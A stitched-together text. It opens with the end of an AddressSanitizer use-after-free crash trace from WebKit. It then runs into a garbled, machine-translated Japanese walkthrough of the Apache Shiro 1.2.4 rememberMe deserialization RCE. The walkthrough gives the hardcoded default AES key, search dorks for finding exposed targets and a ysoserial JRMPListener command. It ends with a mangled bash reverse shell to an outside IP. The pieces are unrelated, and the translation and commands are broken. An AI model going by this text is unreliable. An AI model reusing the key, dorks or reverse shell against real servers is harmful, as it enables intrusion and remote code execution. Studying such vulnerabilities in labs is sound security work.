    #13 0x111d90c8e in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f8c8e)
    #14 0x1177db273 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x255a273)
    #15 0x1177dade4 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2559de4)
    #16 0x1177ee9d1 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256d9d1)
    #17 0x1177eb9ba in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256a9ba)
    #18 0x115f62940 in WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce1940)
    #19 0x115f62685 in WebCore::HTMLScriptRunner::execute(WTF::Ref<WebCore::ScriptElement>&&, WTF::TextPosition const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce1685)
    #20 0x115e83cae in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc02cae)
    #21 0x115e84392 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc03392)
    #22 0x115e835c4 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc025c4)
    #23 0x115e84fbd in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc03fbd)
    #24 0x1158dfde1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x65ede1)
    #25 0x115a125b8 in WebCore::DocumentWriter::end() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7915b8)
    #26 0x1159d5a6e in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x754a6e)
    #27 0x1154dc8c7 in WebCore::CachedResource::checkNotify() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25b8c7)
    #28 0x1154d623d in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25523d)
    #29 0x117afd1eb in WebCore::SubresourceLoader::didFinishLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287c1eb)
    #30 0x10f774825 in WebKit::WebResourceLoader::didFinishResourceLoad(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x996825)
    #31 0x10f777c05 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999c05)
    #32 0x10f7770ff in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x9990ff)
    #33 0x10f0b75c9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2d95c9)
    #34 0x10ee925a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb45a8)
    #35 0x10ee9bbf4 in IPC::Connection::dispatchOneMessage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xbdbf4)
    #36 0x112f6c764 in WTF::RunLoop::performWork() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d4764)
    #37 0x112f6ec7e in WTF::RunLoop::performWork(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d6c7e)
    #38 0x7fff7dcc3980 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7980)
    #39 0x7fff7dca4a7c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88a7c)
    #40 0x7fff7dca3f75 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87f75)
    #41 0x7fff7dca3973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)
    #42 0x7fff7d22fa5b in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30a5b)
    #43 0x7fff7d22f890 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30890)
    #44 0x7fff7d22f6c5 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x306c5)
    #45 0x7fff7b7d55b3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x475b3)
    #46 0x7fff7bf4fd6a in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c1d6a)
    #47 0x7fff7b7c9f34 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3bf34)
    #48 0x7fff7b79484f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x684f)
    #49 0x7fff9345f8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
    #50 0x7fff9345e2e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
    #51 0x10c75db73 in main (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #52 0x7fff931fb254 in start (/usr/lib/system/libdyld.dylib+0x5254)

0x61700004d1d8 is located 344 bytes inside of 720-byte region [0x61700004d080,0x61700004d350)
freed by thread T0 here:
    #0 0x10c7bdcf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x112fb56bf in bmalloc::Deallocator::deallocateSlowCase(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191d6bf)
    #2 0x11599f26f in WebCore::RenderPtr<WebCore::RenderView>::clear() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x71e26f)
    #3 0x11596212d in WebCore::RenderPtr<WebCore::RenderView>::operator=(std::nullptr_t) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e112d)
    #4 0x115961ce0 in WebCore::Document::destroyRenderTree() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e0ce0)
    #5 0x1159622e2 in WebCore::Document::prepareForDestruction() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e12e2)
    #6 0x115cbef2a in WebCore::Frame::setView(WTF::RefPtr<WebCore::FrameView>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3df2a)
    #7 0x115cc1ed4 in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa40ed4)
    #8 0x10f40a85b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x62c85b)
    #9 0x115cd84bf in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa574bf)
    #10 0x115cd7593 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa56593)
    #11 0x1159d59cc in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7549cc)
    #12 0x1159ddc2e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75cc2e)
    #13 0x1159de008 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75d008)
    #14 0x115cdb9f1 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a9f1)
    #15 0x115cd5433 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa54433)
    #16 0x117283965 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2002965)
    #17 0x1172837bf in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x20027bf)
    #18 0x11728511a in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x200411a)
    #19 0x10f3f49ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6169ee)
    #20 0x10f3f4846 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x616846)
    #21 0x10f40494d in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x62694d)
    #22 0x117284bb9 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2003bb9)
    #23 0x115cd413c in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5313c)
    #24 0x115cd2e76 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa51e76)
    #25 0x115ccf7a1 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa4e7a1)
    #26 0x115cc8af0 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa47af0)
    #27 0x115cc8079 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa47079)
    #28 0x115cc82fa in WebCore::FrameLoader::urlSelected(WebCore::URL const&, WTF::String const&, WebCore::Event*, WebCore::LockHistory, WebCore::LockBackForwardList, WebCore::ShouldSendReferrer, WebCore::ShouldOpenExternalURLsPolicy, std::optional<WebCore::NewFrameOpenerPolicy>, WTF::AtomicString const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa472fa)
    #29 0x115e39f39 in WebCore::HTMLAnchorElement::handleClick(WebCore::Event&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbb8f39)

previously allocated by thread T0 here:
    #0 0x10c7bd790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff9337d2d9 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x22d9)
    #2 0x112fbf184 in bmalloc::DebugHeap::malloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1927184)
    #3 0x112fb447b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191c47b)
    #4 0x112f4d245 in bmalloc::Allocator::allocate(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b5245)
    #5 0x112f4c528 in WTF::fastMalloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b4528)
    #6 0x11596140d in WebCore::RenderPtr<WebCore::RenderView> WebCore::createRenderer<WebCore::RenderView, WebCore::Document&, WebCore::RenderStyle>(WebCore::Document&&&, WebCore::RenderStyle&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e040d)
    #7 0x1159611ed in WebCore::Document::createRenderTree() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e01ed)
    #8 0x115961519 in WebCore::Document::didBecomeCurrentDocumentInFrame() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e0519)
    #9 0x115cbf910 in WebCore::Frame::setDocument(WTF::RefPtr<WebCore::Document>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3e910)
    #10 0x115a11f94 in WebCore::DocumentWriter::begin(WebCore::URL const&, bool, WebCore::Document*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x790f94)
    #11 0x1159d6365 in WebCore::DocumentLoader::commitData(char const*, unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x755365)
    #12 0x10f406052 in WebKit::WebFrameLoaderClient::committedLoad(WebCore::DocumentLoader*, char const*, int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x628052)
    #13 0x1159d995c in WebCore::DocumentLoader::commitLoad(char const*, int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75895c)
    #14 0x1154d5eff in WebCore::CachedRawResource::notifyClientsDataWasReceived(char const*, unsigned int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x254eff)
    #15 0x1154d5cf5 in WebCore::CachedRawResource::addDataBuffer(WebCore::SharedBuffer&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x254cf5)
    #16 0x117afe96c in WebCore::SubresourceLoader::didReceiveDataOrBuffer(char const*, int, WTF::RefPtr<WebCore::SharedBuffer>&&, long long, WebCore::DataPayloadType) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287d96c)
    #17 0x117afe695 in WebCore::SubresourceLoader::didReceiveData(char const*, unsigned int, long long, WebCore::DataPayloadType) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287d695)
    #18 0x10f7740b5 in WebKit::WebResourceLoader::didReceiveData(IPC::DataReference const&, long long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x9960b5)
    #19 0x10f777ab4 in void IPC::handleMessage<Messages::WebResourceLoader::DidReceiveData, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(IPC::DataReference const&, long long)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(IPC::DataReference const&, long long)) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999ab4)
    #20 0x10f777043 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999043)
    #21 0x10f0b75c9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2d95c9)
    #22 0x10ee925a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb45a8)
    #23 0x10ee9bbf4 in IPC::Connection::dispatchOneMessage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xbdbf4)
    #24 0x112f6c764 in WTF::RunLoop::performWork() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d4764)
    #25 0x112f6ec7e in WTF::RunLoop::performWork(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d6c7e)
    #26 0x7fff7dcc3980 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7980)
    #27 0x7fff7dca4a7c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88a7c)
    #28 0x7fff7dca3f75 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87f75)
    #29 0x7fff7dca3973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)

SUMMARY: AddressSanitizer: heap-use-after-free (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2485e8a) in WebCore::RenderView::flushAccumulatedRepaintRegion() const
Shadow bytes around the buggy address:
  0x1c2e000099e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e000099f0: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c2e00009a30: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x1c2e00009a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a60: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
  0x1c2e00009a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3526==ABORTING
-->
            

0x00脆弱性の説明

Apache Shiroは、認証、承認、暗号化、およびセッション管理を提供するオープンソースセキュリティフレームワークです。 Shiro Frameworkは直感的で使いやすいと同時に、堅牢なセキュリティを提供します。 Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用して、ユーザーCookieを偽造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。 Shiroのバージョンに関係なく、RemembermeのAES暗号化キーが漏れている限り、それはDeserializationの脆弱性を引き起こします。

0x01影響バージョン

Apache Shiro=1.2.4

0x02脆弱性原理

Apache Shiro Frameworkは、私(Rememberme)を覚えている機能を提供します。ブラウザが閉じている場合でも、次回開いたときに自分が誰であるかを覚えておくことができます。次回アクセスしたときにアクセスするために再度ログインする必要はありません。ユーザーが正常にログインした後、暗号化され、エンコードされたCookieが生成されます。 Apache Shiro 1.2.4および以前のバージョンでは、Apache ShiroはデフォルトでCookierMembermemanagerを使用しています。 Cookieの処理プロセスは、Rememberme base64デコードのCookie値を取得します - AES復号化- 脱介入。ただし、AESキーはハードコーディングされているため、攻撃者は悪意のあるデータを構築し、サーバーでCookie値を受信するときに敏lceのRCEの脆弱性を引き起こし、次の手順に従って解析および処理します。

1。RembermeCookieの値を検索します

2。ベース64デコード

3.AESを使用して復号化します(暗号化キーのハードコード)

4。脱介入操作を実行する(フィルタリングされていない)

ただし、AES暗号化キーキーはコードにハードコーディングされています。つまり、誰もがソースコードを介してAES暗号化キーを取得できます。したがって、攻撃者は悪意のあるオブジェクトを構築し、それをシリアル化し、AESとBase64エンコードを暗号化し、Cookieの記憶界のフィールドとして送信します。 Shiro Decryptsはそれを覚えて脱出します。脱派化を呼び出すときにフィルタリングは実行されず、リモートコード実行の脆弱性がトリガーされます。

0x03脆弱性原因

一般的な意味は、Shiroがログイン位置でRemember Me機能を提供して、ユーザーのログイン資格情報を記録することです。その後、ShiroはCookiereMembermemanagerクラスを使用して、ユーザーのログイン資格情報で一連の処理を実行します。

Javaシリアル化を使用--- AES暗号化にキーを使用---ベース64暗号化---暗号化された私のコンテンツを取得します

同時に、ユーザーの身元を識別するとき、私の覚えているフィールドは復号化する必要があり、復号化の順序は次のとおりです。

暗号化されたコンテンツ--- Base64復号化---キーを使用してAES復号化を覚えておいてください--- Java Deserialization

問題は、AES暗号化されたキーキーがコードにハードコーディングされていることです。つまり、攻撃者がAES暗号化されたキーをソースコードで見つけられる限り、悪意のあるオブジェクトを構築し、シリアル化し、AESを暗号化し、base64エンコードしてから、クッキーの覚えているフィールドとして送信できます。 ShiroはRemembermeを復号化して脱出します。

0x04脆弱性の悪用条件

AES暗号化の使用により、脆弱性を正常に活用するために、AESの暗号化キーを取得する必要がありますが、1.2.4以前のシロの前にハードコード化されたバージョンで使用されました。デフォルトキーのbase64エンコード値は、KPH+BIXK5D2DEZIIXCAAAA==です。ここでは、悪意のあるシリアル化オブジェクトを構築することにより、エンコード、暗号化、およびCookieとして送信できます。それらを受け取った後、サーバーは脱気脱必要性の脆弱性を復号化してトリガーします。

0x05脆弱性検索キーワード

FOFAのキーワードの検索:header='rememberme=deleteme'github検索キーワード:securitymanager.remembermemanager.cipherkey

Cookieremembermemanager.setcipherkey

setCipherkey(base64.Decode

0x06脆弱性機能

Shiro Deserialization機能:Rememberme=リターンパッケージのセットクッキーのDeletemeフィールド

0x07環境構築

1。 8080:8080 Medicean/vulapps:S_shiro_1 1049983-20201203093901541-140206952.png3:http://149.28.94.72:80/、環境が正常に構築されていることがわかります。 https://github.com/vulhub/vulhub/tree/master/shiro/cve-2016-4437 docker-compose up-dサービスが開始された後、http://your-IP3:8080にアクセスして、admin:vulhub :010101

0x08脆弱性の再発

10-10-vulhubを使用してログインしてログインします。 YSOSERIAL-0.0.6-SNAPSHOT-ALL.JARファイルダウンロード:Root@Shiro:〜/Shiro_exploit Burpを使用してパケットをキャプチャし、正しいユーザー名とパスワードを入力し、remember Meオプションを確認してください。 rememberme=deletemeフィールドが返品パッケージのセットクッキーに存在するかどうかを確認してください。1049983-20201203093906033-1597270640.png3。ログインページ1049983-20201203093907312-912301061.png4をキャッチします。パケットをキャッチして、リピーターに送信します。それを再生することができ、Cookieにrememberme=deletemeフィールド1049983-20201203093907746-1556444288.png5が含まれていることがわかります。次に、攻撃マシンで次のコマンドを実行します。

Java -cp ysoserial-0.0.6-snapshot-all.jar ysoserial.exploit.jrmplistener 1086 commonscollections4 "bashコマンド" note:ペイロード/jrmpclientは、Exploit/jrmplistenerと組み合わせて使用されます。

Jrmplistenerは、Ysoserialツールの利用モジュールの1つです。その機能は、脱力化を通じて現在のホストにJRMPサーバーを開くことです。特定の利用プロセスは、脱必要なデータをサーバーに送信し、サーバーで降下操作を実行し、指定されたポートを開き、JRMPClientを介して攻撃ペイロードを送信することです。

ペイロード/jrmpclientリビングペイロードがターゲットマシンに送信され、Exploit/Jrmplistenerが独自のサーバーで使用されます。次に、リバウンドシェルの操作を実行するためにペイロードを構築し、コマンドをリバウンドシェルに書き込みます。

bash -i /dev/tcp/149.28.94.72/2222 01

